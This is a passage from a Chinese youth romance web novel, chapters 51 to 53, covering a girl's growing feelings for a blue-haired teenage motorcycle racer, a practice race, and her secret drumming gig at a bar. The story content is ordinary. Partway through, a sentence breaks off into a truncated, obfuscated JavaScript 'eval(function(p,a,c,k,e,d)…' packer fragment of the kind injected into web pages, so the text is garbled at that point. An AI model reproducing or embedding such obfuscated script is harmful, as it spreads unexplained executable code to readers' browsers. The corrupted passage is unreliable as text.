嗯?言外之意是,我是你调戏的第一个女生? 驰路不知道谢劲舟以前有没有调戏过女生,她来芳町镇的这近三个月,是没看见过他调戏过任何一个女生。 “所以?”驰路无所畏惧地看他。 “老子渴了,喝点可乐。”谢劲舟说得无波无澜、轻描淡写。 有那么喝可乐的?把她推倒在藤椅上,拿她的可乐喝? 算了,驰路并不想跟他计较:“行,舟哥渴了,是吧。”她单手打开一瓶可乐,递给他,“喝你自己的,别抢别人的,OK?” 驰路拿着手里被捏扁的可乐刚想跟谢劲舟的碰一下,看了看罐口,想到被他喝过,放回栏杆台面上,重新开了一瓶,跟他的可乐罐碰了下:“干杯,敬……漫漫长夜,敬……月亮很圆,敬……” 谢劲舟拿起可乐,跟她的可乐罐一碰说:“敬我们!” 好一个敬我们! 敬我们在凌晨两点多的时候不睡?敬我们在清醒地放纵? 51. 开摩托车的小蝴蝶 「心动,是心脏为你怦怦跳,是眼睛追随你的身影,是我甘愿在你的世界里沉溺。 我为你心动了吗,Z? 这个夏天注定比任何一年都要热烈、刻骨。」 ——《小蝴蝶的盛夏》 驰路做了一场梦,梦里的谢劲舟,将她推倒在藤椅上,在暖烘烘的日光下,深深地吻她,跟她接了一个很长又很温柔的吻。 梦很真实,他的气息,他的热度,他啃咬她嘴唇的感觉,她都可以感受得到。 以至于,驰路醒来时,以为黄粱一梦是真,发觉是梦一场时,有种难言滋味在心头盘旋。 她这是怎么了?为什么要做这样的梦? 不喜欢他那么霸道地对她,就在梦里期待一场温柔的吻? 一定是自己的某根神经搭错了! 驰路起来时,已天光大亮,楼下传来敲敲打打的声音,她趿拉着拖鞋,走到护栏处,被一束光照射,不得不微微闭上眼。 她还没来得及往下看,便听到有人朝她说:“驰妹,你穿这么辣!” 接着响起一阵阵此起彼伏的口哨声。 “驰路,快进屋!”一道沉磁的声音响起。 驰路适应了光线,看到楼下六七个男生都朝自己看,除了谢劲舟板着一张脸,其他几个都是一副看美女看得津津有味的模样。 驰路这才想起自己还穿着黑色深V睡袍,露出胸前一大片白色肌肤,急忙跑回屋。 谢奶奶出去了,小乔去邻居家玩,驰路当起了这帮男生们的跑腿小妹,又是端茶又是倒水,还负责做饭。 其实,她并不想做,但考虑到砌墙进度,果断挑起了谢家小妹跑腿的大梁。 端茶给秦深时,秦深一本正经地说“谢谢”,旁边的人起哄道:“叫嫂子!” 递水给小弟一号时,小弟一号眉开眼笑地说:“谢嫂子!” 驰路看着一群青春期的少年们,和水泥的和水泥,递砖的递砖,砌墙的砌墙,染成各色的头发在风中飞扬,个个都脱了外套,有的穿着短袖,有的穿着长袖,脸上都布满汗珠。 他们意气风发,挥汗干活的样子,像在壳里努力生长的牡蛎,每个人都闪着光。 喊他们去吃饭时,一众人像提前彩排过,异口同声道:“来了,嫂子!” 这波称呼弄得驰路很尴尬,她没去纠正,想听听谢劲舟怎么说,结果,他压根儿没纠正他们的叫法。 “嫂子,你歇歇,我们去端菜。”小弟一号鞍前马后地去端来饭菜。 “舟哥,你能不能管管他们?”驰路听不下去了,看向翘着二郎腿懒散坐着的谢劲舟。 谢劲舟朝驰路看过去,轻轻地掀了下眼皮,浑身充满痞劲儿:“管什么?” “管我们什么时候给你们送恋爱贺礼?”小弟二号起哄。 这帮小弟对于谢劲舟跟驰路的事不仅早有耳闻,也看过他们在一起的样子,跟芳町三中贴吧里说的那样:芳町大佬跟清纯版鼓手头牌郎才女貌,般配得很。 尤其是早上,他们家的这位大佬看到驰路穿睡袍站阳台上喊她快进屋的样子,像极了在管媳妇儿。 “好了,别闹了。”谢劲舟抬手做了个安静的动作,“驰路不是我的妞儿,你们不用叫‘嫂子’。” “舟爷,就算不是,也像极了嫂子。”小弟一号说。 “叫她驰路吧。”谢劲舟说。 虽然谢劲舟这样说,但他那帮小弟是什么人,在江湖混了那么久,格外有眼力见,把“嫂子”挂在嘴上挂了一天。 * 当天,在大家的同心协力下,围墙终于砌好,门也安装好。 谢奶奶回来了,驰路帮着打下手,做了一顿丰盛的晚餐,一桌人举杯畅饮,好像在庆祝世界终于可以太平。 “舟爷,十月六日你有场赛车比赛吧,我们兄弟几个都去!”小弟一号说。 其他人纷纷捧场道:“必须去!我们舟爷的比赛绝对不能缺席!” 罗子昂看驰路:“驰妹,你也去吧。” “需要门票吗?” “这还不是舟爷一句话的事。”罗子昂看向谢劲舟,朝他眨了下眼,“是不是啊,舟爷?” 谢劲舟问驰路:“去不去?” 驰路笑:“要是舟哥邀请我的话,我可以考虑考虑。” 她喝了几罐啤酒,没上脸,倒是坐在她身旁的谢劲舟,属于易上脸体质,脸颊泛着红,一把揽住驰路的肩膀,往怀里一带。 属于谢劲舟独有的气息,尽数落下来,以一种强势的方式闯入她的世界。 驰路被他一碰,心不受控制地剧烈跳动,脸颊发烫。 白天时,她问过安然,为什么在谢劲舟靠近她或者戏弄她时,会出现这样的感觉。 安然说:“驰路,你完了,你喜欢上谢劲舟了!” 她喜欢上谢劲舟了? 驰路这天还特意观察自己的举动,发现自己的眼神总不自觉地落在谢劲舟身上,给别人端茶倒水时,会忍不住地看谢劲舟,看他脸上流汗时,会第一时间跑上前给他递纸,甚至有种想给他擦汗的冲动。 这很不像她,她从不是对男生如此主动积极的人,为什么偏偏对谢劲舟这样? 此时,谢劲舟像是邀请又不像邀请地跟她说:“阿驰,老子在的地方,你能缺席吗?” * 烟酒味混杂着皂香,冲进她的鼻端;雾霾蓝的头发被风吹起,轻轻扫过她的脸颊,扫过的地方,又痒又麻。 他的声音依旧很低很沉,像夜晚拉响的小提琴,富有磁性,蛊惑人心。 驰路的心头蹦出一道声音:“驰路,你完了,你喜欢上谢劲舟了!” 她吓了一跳,推掉谢劲舟放在自己肩头的手。 刚推开便听到罗子昂说:“驰妹,你在害羞什么啊?不会看上我们舟爷了?” 其他人纷纷打趣: “驰妹,你不是没有男朋友吗,也满十八岁了,可以考虑下咱舟爷啊。” “驰妹,你把我们舟爷收了,算是为民除害!” “你看啊,驰妹,你住在咱舟爷家,算是近水楼台先得月,听说你又是给咱舟爷打造静心小屋,又是给咱舟爷补习功课,这还费心费力地给我们大伙儿做饭。你不知道,现在追咱舟哥的女生可多了,除了咱芳町三中的,芳町二中、一中的女生也多得是,你就不怕,你下手晚了,咱舟爷就要被别人抢走?”这位小弟晓之以理动之以情地说。 驰路在谢劲舟的兄弟们面前,仍是一副乖乖女的样子,戴着黑框眼镜,遮住了她的傲和媚,乖得不行。 她低垂着脑袋,眼眸也低低的,沉默着,没说一句话,像受了欺负的小姑娘。 “行了,别起哄了。”谢劲舟看着装乖的驰路,憋住笑,跟那帮小弟们说,“人小姑娘要好好学习,冲刺清北。” “是不是,阿驰?”最后两个字,被谢劲舟咬得有些重,磨着驰路的耳朵,像吹过一阵夏日的风,躁动灼热。 * 驰路比谁都清楚,她来到芳町镇,待一年,就会离开。 不管谁喜欢她,她喜欢谁,都不会有结果。 当她意识到自己可能喜欢上谢劲舟时,从最初的讶然,到慢慢接受,她荡漾的心湖重新回归平静。 就把这份喜欢放在心底吧,不说出口,就可以当做什么都没发生。 谢劲舟的一句问话,驰路回了句模棱两可的话:“我们一起好好学习。” 驰路确实是个负责的老师,给谢劲舟复习的各科科目圈了重点题型,让他先看一遍,再做一遍试题,做错的,搞清楚错的原因,再做一遍,直到会了为止。 谢劲舟做题时,谢林乔也会在一旁认真地做口算题、写拼音。 驰路知道,下午五点到七点半是谢劲舟可以学习的时间,其余时间,他会安排去练车和做兼职。 练车场地在东郊杜浩开的摩托车行,去的第一天,罗子昂开着他的电动三轮车来找驰路,说是要带她去一个神秘的地方,结果把她直接带到了杜浩的摩托车行。 等驰路发现路线不对时,已经来不及下车,想让罗子昂掉头,但这话没说出口。 抽出点时间来看谢劲舟练车,也不是不可以。 “罗刺猬,这就是你说的神秘地方?”驰路打开车门,倚靠在车上,看到车道上有三辆疾驰的摩托车。 “驰妹,不是我说,你天天闷家里,光知道学习也不算事啊,哥带你出来兜兜风。”罗子昂跳下车。 驰路知道他醉翁之意不在酒,屁的出来兜兜风,他这种暗搓搓想撮合她跟谢劲舟的小心思几乎全写脸上了。 罗子昂指着穿着蓝白车服的谢劲舟:“驰妹,看,那是咱舟爷,开车的样子帅爆了吧。” 谢劲舟开的那辆车,速度远远超过另外两辆,身体伏在摩托车上,像一只疾驰的猎豹。 转弯时,没减速,身体几乎贴着地面驶过,看得她心惊胆战,想起了上次他跟陈健比赛时受伤的场景。 但他稳稳地驾驶着摩托车,疾驰到她附近时,响起剧烈的轰鸣声,尘土四起。 她似乎能感受到他那双隐在头盔护目镜下的眼神,坚定、果敢、一往无前。 他迎风飞驰,仿佛天地间的一只雄鹰,天高任他飞。 十八岁的少年,恣意张扬,浑身热血,遇风破风,遇浪破浪,不作声响,划出命运的弧线,一路向前。 “舟哥,一身反骨,无人能降。”驰路的目光一直随着谢劲舟的身影漂移。 “驰妹,我看啊,舟爷这人也不是没人能降。”罗子昂托着下巴,故作沉思状。 “比如?” “还能有谁,驰妹一出手,舟爷就到手。” 驰路没接茬,心里有些发痒,她也想开开车了。 * 谢劲舟跑完几圈,在驰路附近停下,摘下头盔,露出一头雾霾蓝的张扬头发,右耳的耳桥在阳光下熠熠发光,右颈侧的那串文身彰显着他的痞劲儿。 他看向她,朝她勾了勾手指,一副大佬让你过来的桀骜姿势。 罗子昂屁颠屁颠地先跑了过去,邀功似的小声说:“舟爷,我办的事,还不错吧。” “不错。”谢劲舟拍了下他的肩膀,“回头奖励你一套数学练习册。” “……” 驰路走了过来,从谢劲舟手中接过头盔。 “驰妹,伺候咱舟爷的功力了得啊!”罗子昂刚夸完,发现驰路竟然把头盔戴头上,利落地系上扣子。 “舟哥,要不要帮我去挑辆车?”驰路看谢劲舟,朝他眨了下眼,魅惑勾人。 “你会?”谢劲舟有点惊。 “有摩托车证了吗?”罗子昂问。 “巧了,暑假期间拿了。”驰路拿出手机,调出一张照片给两人看。 “我艹,驰妹牛啊!”罗子昂看着照片上的驰路,“照片拍得不错哟。” 这时,另外两辆摩托车也停下,走过来两人,一个是杜浩,另一个是长直发女生。 杜浩见过驰路,跟她介绍旁边的女生:“我媳妇儿,苏漾。” 长直发女生朝驰路伸手:“叫我漾姐就行。” “驰妹,这位漾姐,可大有来头,”罗子昂积极科普道,“不仅开摩托车开得好,还是‘清白乐队’的鼓手。” 驰路感慨世界之小,那晚没能去酒吧演出的鼓手,原来是她。 她缺席,驰路顶上,才有了“鼓手头牌”的称号。 她跟苏漾握手,感受到她指腹的老茧,是经常敲鼓留下的。 “看着有点眼熟啊!”苏漾看着扎着马尾辫的驰路。 “漾姐,驰妹是不是长得像顶替你演出的那个‘鼓手头牌’?”罗子昂说。 “鼓手头牌?”苏漾把头盔潇洒地朝杜浩怀里一扔,上上下下打量了驰路一番,又在她脸上流连,得出结论,“是有些像。” 苏漾像要验证什么似的,拉过驰路的右手,检查她的指腹,并没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我是他表姐。”苏漾跟驰路解释,“这小子现在住我家,嫌家里吵,来我这儿写作业。” 江迟看着穿着一身车服的驰路:“你这是要去开车?” “走,去看看你同桌技术如何。”苏漾一把合上江迟的练习册。 江迟跟着两人走了出来。 * “舟爷,看,驰妹换好车服了。”罗子昂第一个看到走出来的驰路,穿着一身红白色车服,车服包身,勾勒出姣好的身体曲线,腋下夹着一个红色头盔,扎着的马尾辫随风飘着,走路带风,罗子昂看得眼睛发直,直呼,“我艹,没想到驰妹有这么酷飒的一面啊!” 谢劲舟也看过去,驰路本就高,平时穿着松松垮垮的校服,显示不出她的身段,这身红白色的车服,让她看起来很酷又很耀眼,像一枚发着光的太阳。 她有很多面,多见识一次,就像开了一次盲盒,每次都能给他带来惊喜。 “舟爷,你看驰妹旁边的是不是江迟?”罗子昂抬手遮了遮刺眼的太阳,“他怎么会在这里?不会是驰妹邀请他来的吧?” 谢劲舟的眸子一沉,但很快恢复常态,如果是驰路邀请江迟过来的,不会这么快。 驰路走过来,谢劲舟也朝她走去,从她腋下拿过头盔,帮她戴上,边系扣边说:“好好开,给舟哥看看,你有多厉害。” “等会儿睁大眼看好了!”驰路朝他眨了下眼,露出傲然神色。 江迟看着驰路说:“加油!” 驰路微笑着点头。 罗子昂一侧头,不小心看到了他家舟爷,面部表情,肉眼可见地不悦,目光都变得锐利。 啧啧,不是不喜欢吗。这是什么表情! 驰路推着摩托车到跑道,长腿跨上谢劲舟为她挑好的黑白色的摩托车,罗子昂由衷感慨:“驰妹的腿比我的命还长啊!” 驰路伏到摩托车上,踩下油门,发动引擎,发出轰鸣声,箭一般向前驰骋。 黑白色摩托车,配上红白色的车服,透出暗黑的张扬,醒目恣意。 谢劲舟的目光紧紧跟随着她的身影,她开车动作娴熟,马力十足地向前飞驰,像极了一只狂野蝴蝶。 弯道时的压弯、稍微减速,在跑第一圈时,驰路压得很低,像成熟弯腰的稻穗,差点贴地,吓得罗子昂喊道:“驰妹胆子这么大,敢压这么低。” 作为专业的赛车手,谢劲舟看得出驰路可能是疏于练习、急于表现,压得有些过头了,稍不注意,就会摔倒。 他的心往上一提,生怕她会摔倒。 看到她安全转弯,拐上赛道时,悬着的心才放下。 江迟站在离他们稍远一点的距离,一直看着穿着红白色车服的驰路。 这不是他第一次看到开摩托车的驰路,却是第一次看到她开得如此快速,酷得像一头肆意向前狂飞的蝴蝶,浑身充满张扬的青春气息。 他清澈的眼眸里,多了一丝复杂的情绪。 接下来的几圈,驰路开得越来越顺畅,风在耳边呼啸,迎着劲风,一路向前。 仿佛回到了从前,那些无忧无虑肆意飞扬的时光,她跟着一帮狐朋狗友混在一起的日子。 她继续踩下油门,速度加快,耳边响起风,也响起曾经的那些吹捧,继而是吵闹,电影般在脑中一一放映。 生活是现在和曾经的组合牌,她活在当下,也偶尔被曾经裹挟。 她渐渐明白,经历过阵痛,才会长大,才会更加明白,世界温柔,也很残酷。 她好像变成了在广阔天地间飞舞的蝴蝶,不论去哪片天空,都能自由翱翔,都有她栖息的角落。 驰路不知道自己开了几圈,开到尽兴后才在谢劲舟附近停下,轮胎跟地面划出一道刺耳的声响。 她没有下来,抬起头盔上的护目镜,挑眉看谢劲舟:“舟哥,比一把?” 罗子昂难以置信地惊呼:“驰妹,你疯了吧,跟舟爷比!” 谢劲舟单手往她摩托车的扶手上一撑,迎接她挑衅的眼神:“输了怎么办?” 驰路知道自己不是谢劲舟的对手,输赢从一开始就已见分晓,但她怎么可能轻易认输,总要拼一把才知道,铁骨铮铮地回:“你说了算。” “好!”谢劲舟转身走向自己的摩托车,戴上头盔,看着驰路的身影,嘴角勾起一抹弧度。 52. 小蝴蝶来当鼓手 「小蝴蝶,你开摩托车的样子,很酷,也很帅。 我想起了汹涌的浪潮,还有,一个不可磨灭的夏天。」 ——《不夜港》 两人的比赛,迎来了其他人的围观,除了罗子昂、江迟、杜浩、苏漾,还有其他来玩的车手。 杜浩做裁判,口哨声响起,两辆摩托车向前开去,谢劲舟起步晚了几秒,围观者一眼便能看得出来,他在故意让驰路。 驰路哪里不知道谢劲舟的用意,更是起了赢心,加足马力,朝前奔驰。 第一个拐弯时,她在前面,第二个拐弯时,她还在前面,除了耳边呼呼的风声,她似乎还能听到围观者的尖叫声。 驰路没有掉以轻心,保持着速度,一直超越着谢劲舟。 但到第三个拐弯时,后面蹿上来一辆深蓝色的摩托车,一道蓝白色的身影也随之晃过她眼前。 谢劲舟超过她了! 驰路稍微加了下油门,紧紧跟着他,想趁机超越,但谢劲舟开得又稳又快,拉开了与她的距离。 从最初的半米,到一米。 “驰妹加油!”驰路听到了罗子昂的公鸭嗓,是从喇叭里传过来的,接着又听到他喊,“舟爷加油!” 好家伙,罗刺猬还是端水大师! 江迟看着两辆咬紧的摩托车,脸上的表情莫测。 苏漾跟江迟说:“你这个同桌有两把刷子!” 江迟说:“她很特别。” 苏漾对江迟这样的总结感到有点异样,侧头看他,发现他的视线一直盯着驰路,瞬间了然:“你小子,不会喜欢你同桌吧?” “可以这么说。”江迟并没有遮掩,“下次她要是还来,告诉我一声。” “你看不出来吗,谢劲舟也喜欢她。” “我知道。”江迟的眼里闪过一丝难得的较真的锋芒,“但并不妨碍我靠近她。” “看不出来啊,江迟,你竟然也有这天。” 在苏漾的眼里,江迟是别人家的孩子,不仅成绩好,性格也好,从未做过出格的事,没听说过他喜欢过哪个女生,恋爱更是没谈过一次。 这次倒好,在高三的紧要关头,竟然有了喜欢的女生,还有一副要跟情敌抢人的意思。 …… 驰路这边完全不知道场外发生了什么,她专注地看着谢劲舟的背影,开车看他,跟在路边看他的感觉完全不同。 这是近距离的追赶,他去哪里,她就去哪里,除了胜负欲,还生出一种,蓝色在哪里,她就要去哪里的跟随感。 她紧紧跟随,从一米到八十厘米,再到半米,最后冲刺时,离得很近,大约三十厘米的距离。 驰路将车停在他身旁,朝他竖起大拇指。 他是赛道上疾驰的猎豹,是深蓝色摩托车上劲瘦的身影,是冲向终点时的强者。 她愿赌服输。 谢劲舟打开头盔上的护目镜,露出深邃的眼睛,痞帅的脸上流下汗珠,荷尔蒙爆棚。 他摘下手套,朝驰路伸手。 驰路知道了他的用意,也摘下手套,跟他握手。 她纤细的手被他宽厚的手握住,从轻握,到紧握。 彼此肌肤的温度交融,时间漫长,像握了一个春秋。 “阿驰,赌注是,你去看我的赛车比赛。” * 除了这次罗子昂的特意安排,其余几天,驰路忙着刷题,忙着给谢奶奶去买了一辆多功能电动三轮摆摊车。 她没提前让谢奶奶知道,而是让卖车的直接开到了栾花巷32号。 如此大礼,谢奶奶不收,驰路不得不说出上次她在工地看到谢奶奶的场景,不希望她那么累地去赚钱,脊背都被压弯了,不仅对身体造成不可逆的后果,赚的钱也有限。 驰路说:“谢奶奶,您对我怎样,我都记着,这是目前我能为您做的。如果您觉得不好意思收车,可以等您赚钱了,把车的钱还我,您看这样可以吗?” 谢奶奶最后同意收了车,掌握了相关烹饪工具,靠着她的手艺,先在离栾花巷比较远的一条街道摆摊,开始了她的摆摊生涯。 一辆电动三轮车,架着锅,锅旁放了各种调料、塑料打包盒,地上放了煤气罐、矿泉水桶。 红底白字的牌子上写着:好再来小面。 驰路是谢奶奶的第一个顾客,谢劲舟是谢奶奶的第二个顾客,谢林乔是谢奶奶的第三个顾客,罗子昂是谢奶奶的第四个顾客…… 每个顾客都夸谢奶奶手艺好,做得面很好吃,都祝谢奶奶“开业大吉”“生意兴隆”。 小小的摊位前,摆了一盆富贵竹,叶片葱绿,生机盎然,是驰路跟谢劲舟一起送的,被罗子昂戏称“小情侣的闷骚把戏”,谢林乔却反驳“罗哥哥坏,他们不是情侣,是我的哥哥和姐姐”。 距离国庆节假期结束还剩两天,驰路收到了许婉的邀约,约她去霓虹酒吧,而且让她去做鼓手,理由是,漾姐有事缺席,需要她江湖救急。 这次驰路没像第一次那样拒绝,她在家里快要闷坏了,想出去释放下刷题的枯燥。 她同意后,【清白时光】的微信群里响了几下,是程佑白发来的要练习的曲子,让驰路看看有没有熟悉的,挑几首。 有几首驰路熟悉,把歌曲名贴到群里,发了条微信:下午我先去酒吧练练。 * 霓虹酒吧,晚上八点,驰路来到了休息室,看到已经在等她的许婉。 “阿驰,你就穿这一身?”许婉还记得上次戴着黑色颈链,穿黑皮衣、黑皮裙、黑色铆钉靴,格外酷飒的驰路。 但这次,驰路却穿得格外朴素,白色宽松T恤,配一条浅色阔腿裤、白色板鞋,典型的学生装扮,衣服松垮,透出慵懒感,乖是乖,却少了酷和飒。 驰路把手中的纸袋往桌上一放:“要换的衣服都在里面,等会儿你就知道了。” 许婉明白了,她这是跟上次一样,来的时候穿常服,在舞台上穿舞台服。 许婉知道她这是不想被人认出来:“阿驰,其实,被人知道是你也没什么,那些说是你清纯版‘鼓手头牌’的,估计要炸了,追你会追得更猛。” 驰路背靠在桌子上,双手环胸,看许婉:“婉婉,你也知道,离高考不到一年了,我不想被很多人关注,会分散我的精力,这不好。” 许婉朝她眨眼:“明白,那我就替你好好保守这个秘密。” “谢了!”驰路拎起桌上的袋子,转身去更衣室换衣服。 驰路从更衣室走出来时,许婉看得眼睛发直,嘴巴惊讶得微微张开,这还是她认识的驰路吗? 马尾辫放了下来,披在肩头,穿着一件闪着亮片的蝴蝶形状的黑色吊带上衣,配一条黑色短款不规则毛边牛仔裤,换了双黑色镂空靴,能看到脚踝间若隐若现的文身。 浑身上下看不到一丝乖巧清纯的痕迹,比上次穿一身黑服的她多了一丝性感。 她这还没化妆,透出一种没有经过雕琢的自然美,像从电影里走出来的女明星。 “天哪,阿驰,你穿这一身好好看!”许婉丝毫不吝啬对驰路的赞美,举手鼓掌,“可以去当明星了。” “没这么夸张吧。”驰路坐下来,拿起一把梳子梳头发。 “我说真的,你是我认识的人里长得最好看的!比现在电视剧里的女明星好看多了。”许婉说,“你就是缺一个挖掘你的星探。” “如果你这么说的话,你也适合去当明星。”驰路看着长相清纯可爱的许婉,“适合演元气少女女主。” 这时,背着吉他的程佑白走了进来,正好听到了两人的对话,许婉一下子红了脸,连忙说:“好了好了,我们就不用互吹彩虹屁了。” 还被自己喜欢的人听到了,有点羞耻! 程佑白身后跟着一个短发少女,是他的妹妹——时清,她是清白乐队里的键盘手。 时清穿着黑夹克,里面是一件印着外国人图案的黑色T恤,脖子上挂了一条蛇骨链,配一条黑色破洞阔腿裤、深灰色老爹鞋。 完全不是在学校里穿着校服,看起来只是中性乖巧的女生,一身装扮,尽显低调的张扬,透出女生少有的酷劲儿。 时清看着镜子里正在戴假发的驰路:“今天挺辣啊!” 驰路从镜子里看身后的时清,勾唇:“你今天也很酷!” 许婉一眼看出时清里面穿的黑色T恤是程佑白的,羡慕道:“清清,你又偷穿你哥的衣服啊!” “这叫偷穿?”时清说,“我跟我哥,早就衣橱共享了。” “是吗?”许婉朝程佑白看过去,他头上扎着一个小揪揪,“那我什么时候才能看到你哥穿你裙子的样子啊。” 程佑白冷冷地朝她看过去:“这辈子你都别想看到!” “切,不看就不看。”许婉无所谓道,“想想你穿裙子的样子啊,一定丑出天际!还是别出来霍霍了。” 程佑白对于她的这番说辞,没作辩驳,懒得搭理。 时清朝驰路再走过去一步,给她整理戴上去的假发,手法温柔。 许婉的视线一直在程佑白身上,他还是一如既往的冷,把吉他放到一边,拉过一把椅子坐下。 “程佑白,你们选好今晚要演奏的歌了吗?”许婉上前搭话。 “嗯。”程佑白拿出手机,找出一个群,播放《带我去找夜生活》。 许婉像发现新大陆似的,俯身一看,群号【清白时光】,里面有一个新头像,是一只黑色燕尾蝶,她认识,这是驰路。 许婉不满:“程佑白,你之前不是说这个群里只加你们乐队的人吗,怎么同意拉阿驰进去了?” 程佑白双手环胸,懒懒地往椅背上一靠,一抬头,眼睛不经意间瞥见镜子里的许婉,停顿一秒才说:“她现在也是清白乐队的一员。” “我也可以啊。”许婉看着镜子里的程佑白,“我是清白乐队的死忠粉,给你们出谋划策,阿驰还是我请来帮你救急的,你就是这样把你的恩人拒之门外的吗?” “哥,你要不把婉婉拉进去。”时清边用手指 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唱得是还行,声音清亮、干净,唱这首歌时别有韵味,只有几个音调不准。 驰路也支持许婉:“婉婉,继续唱吧,我喜欢!” 接下来,在许婉的歌声中、程佑白的吉他声中,驰路化完了一个精致的妆。 她将口红放到桌上,侧头去看一旁的许婉、程佑白,竟有种“他们天生一对,俨然小情侣”的错觉。 忽然脑中闪现出谢劲舟那帮兄弟喊她“嫂子”的画面,她跟谢劲舟,在他们眼中,是不是就跟她看许婉、程佑白一样? * 夜幕笼罩着芳町镇,霓虹酒吧陷入夜色中,外面的招牌一闪一闪地亮着,格外显眼。 霓虹酒吧的一层比较安静,以喝酒为主,另一层在地下,跟地上一层形成鲜明反差,一进去,电音靡靡、人声沸腾、射灯交错闪烁。 舞台上有打碟的俊男靓女,舞台下是在舞池里群魔乱舞的男男女女,基本是一帮年轻人,染着各色头发,女生穿着性感露骨,男生时不时要贴着女生跳,各类多巴胺气息被猛烈释放。 罗子昂跟一帮人就夹杂在这男男女女中,那帮哥们儿恨不得整个人都要贴到女生身上。 他平时吵嚷着要泡妞儿,但到了这个场合,跟其他哥们儿相比,完全是个束手束脚的愣头青,独自舞动他那像机器人一样机械僵硬的身体。 跟他身体一样僵硬的,还有秦深,两人被其他哥们儿推搡着往旁边女生身上贴,贴一次可以,贴的次数多了,罗子昂不爽了,瞪其中一位:“推什么推?能不能尊重下女生?” 声音被嘈杂的电音声、人声掩盖,被说的男生压根儿一字没听见,误以为他不喜欢贴的女生,又把他往另一个女生身上推。 “艹!”罗子昂暗骂一声,双手去推开男生,离开前跟被贴的两个女生说“不好意思啊,刚才冒犯了”。 说完,他往后退,退到一旁的卡座前坐下,见秦深也来了。 他喝完一杯酒,跟秦深吐槽:“你说这帮人每次开这儿都要揩女生的油,真是一帮浑蛋!” “每个人的想法不同吧。”秦深不做过多评判,两边都是兄弟,帮谁说话都不太好。 罗子昂心头憋着气,无处发泄,继续喝酒,喝完一杯后,拿出手机,给人发信息。 【宇宙无敌超级帅崽罗】:清清,你们快上场吧,这打碟声听得我心发慌。 过了好一会儿,罗子昂才收到【清白的清】的信息:八点半。 言简意赅,没有标点符号,没有可爱表情,是时清一贯清冷的风格。 罗子昂喜欢看美女,但尤其喜欢酷酷的美女,比如时清。 每一场她的演出,只要他能赶过来的,从没缺席。 别的弟兄都说他这是魔障了,喜欢时清喜欢过头了,经常开他跟时清的玩笑。 时清看起来并不在意这些,罗子昂想,估计是喜欢她的人太多了,开这种玩笑的也多,她早已习以为常。 但罗子昂却不同,从喜欢她的酷酷颜值,到喜欢她弹的键盘、唱的歌,从内到外地发自内心的喜欢。 时清在一点点渗透进他的身心。 他对谁都没这么上心过,可能确实喜欢时清喜欢过头了,但这喜欢从没说出口,好像这样他就显得跟其他追求者不同,他要循序渐进,充分展示他的个人魅力。 * 八点半,霓虹酒吧,地下一层,打碟场结束,摇滚场开始。 舞台上的灯光熄灭,工作人员搬来了架子鼓、键盘,舞池里的身影都安分下来,喧嚣声渐止。 于黑暗中,四位演出者登场,陆续响起吉他声、键盘声、贝斯声、鼓声,歌声一出的瞬间,舞台上亮起射灯,五颜六色,闪烁间,打在每个人身上,照得舞台上的四人格外耀眼。 罗子昂在看到舞台上竟然有“鼓手头牌”时,身体一激灵,连忙给谢劲舟发去信息:舟爷,速来! 53. 这个鼓手很酷飒 「秘密之所以成为秘密,得益于无人知晓。 我的秘密被你看穿了。 Z,你没那么火眼金睛也可以的。 但为什么隐隐期待,你能看到我舞台上的样子。」 ——《小蝴蝶的盛夏》 之所以要给谢劲舟第一时间发去信息,要源于谢劲舟得知霓虹酒吧来了个“鼓手头牌”,还长得像驰路,跟罗子昂说:“罗刺猬,你不是经常去霓虹酒吧吗,什么时候看到像驰路的鼓手演出,记得叫我!” 国庆期间,罗子昂每天都过来给时清捧场,一次没遇到“鼓手头牌”,这不,今天凑巧碰上了,连忙火速告诉谢劲舟。 发完,罗子昂想起谢劲舟这个点应该在网吧兼职,赶不过来了。 哪承想,第一首摇滚版的《带我去找夜生活》快收尾时,谢劲舟就赶到了。 他穿着一身黑,顶着雾霾蓝的头发,右耳骨上的耳桥惹眼,穿越熙攘人流,朝他这儿走来。 谢劲舟的腋下夹着头盔,雾霾蓝的头发有些湿,右侧的刘海贴在额头上,有汗水往下落。他长相冷峻,目光沉沉,长腿迈出的每一步都生风,浑身透出张狂难驯的少年气。 见到他的女生,无一不朝他看过去,面露痴迷地望着他。 他站在人群中,是光一般的存在,任谁看了,都会不自觉多看几眼。 “看,他就是谢劲舟,帅死了!” “传说中芳町镇大佬吧?” “是啊,江湖人称舟爷。” “好帅啊,染蓝色头发一点都没觉得非主流,反而好特别,竟然还戴了耳桥,他戴耳桥怎么能这么A!” “你看他的五官、他的身材,简直是女娲娘娘精心捏造的,哪儿哪儿都好看。” …… 零零散散的声音传开,有些被音乐声掩盖,有些被传到谢劲舟耳中,他丝毫没往议论的女生身上看一眼,径自坐在了罗子昂旁边。 罗子昂对他这种一出场就是主角、就被女生围观爱慕的场景见惯不惯,朝舞台上指:“舟爷,你看,这就是我跟你说的‘鼓手头牌’,是不是又辣又性感?” 谢劲舟朝舞台上看去,隔着前面站着的人群,看不清楚,不得不站起来。 他长长的眼睫上挂着一滴汗水,有点影响视线,朦朦胧胧中,看到舞台右侧的鼓手,正在有节奏地敲鼓,身体随着音律自然摆动,一刀切的黑色利落短发随之飞扬,动作潇洒且酷。 鼓手画着烟熏浓妆,黑色眼影、长睫毛、烈焰红唇,穿着蝴蝶形状的黑色吊带,脖子上戴着一条银色颈链,上面缀着几枚形态各异的蝴蝶。 裸露的纤细腰间挂着一条银色腰链,上面缀着一只黑色蝴蝶。 黑色毛边牛仔裤下是一双白皙的长腿,右脚正踩着踏板,脚踝处的酒红色文身隐约可见。 鼓槌在她指间,一起一落,时重时轻,敲出动人曲调。 射灯打在她身上,让她宛若舞台上最闪亮的明星,光芒万丈。 她好像真正化成了一只蝴蝶,在光里飞旋,飞到他身边,栖息在他肩头。 即使隔着人群,谢劲舟似乎也能感受到她的气息、她的温度,她身上的每一处,都那么令人着迷。 蝴蝶藏在暗处,神秘,一旦飞入光里,便会散发出无法言说的魅力,想触碰,却无法触碰。 她在高处,落不了凡间。 罗子昂侧头去看谢劲舟,发现他的眼神正直直地望着“鼓手头牌”,喊他“舟爷”,人跟没听到似的,应也没应,动也没动。 罗子昂推了推谢劲舟的胳膊,踮脚在他耳边大声说:“舟爷,咱去前面看。” 谢劲舟这才猛然回神,从驰路的身上移回视线。 前面是舞池,舞池旁有卡座,最前面是VIP沙发区,消费达到一定金额的能在VIP区享受最佳视听。 有一个长沙发空了两个位置,谢劲舟走上前坐过去。 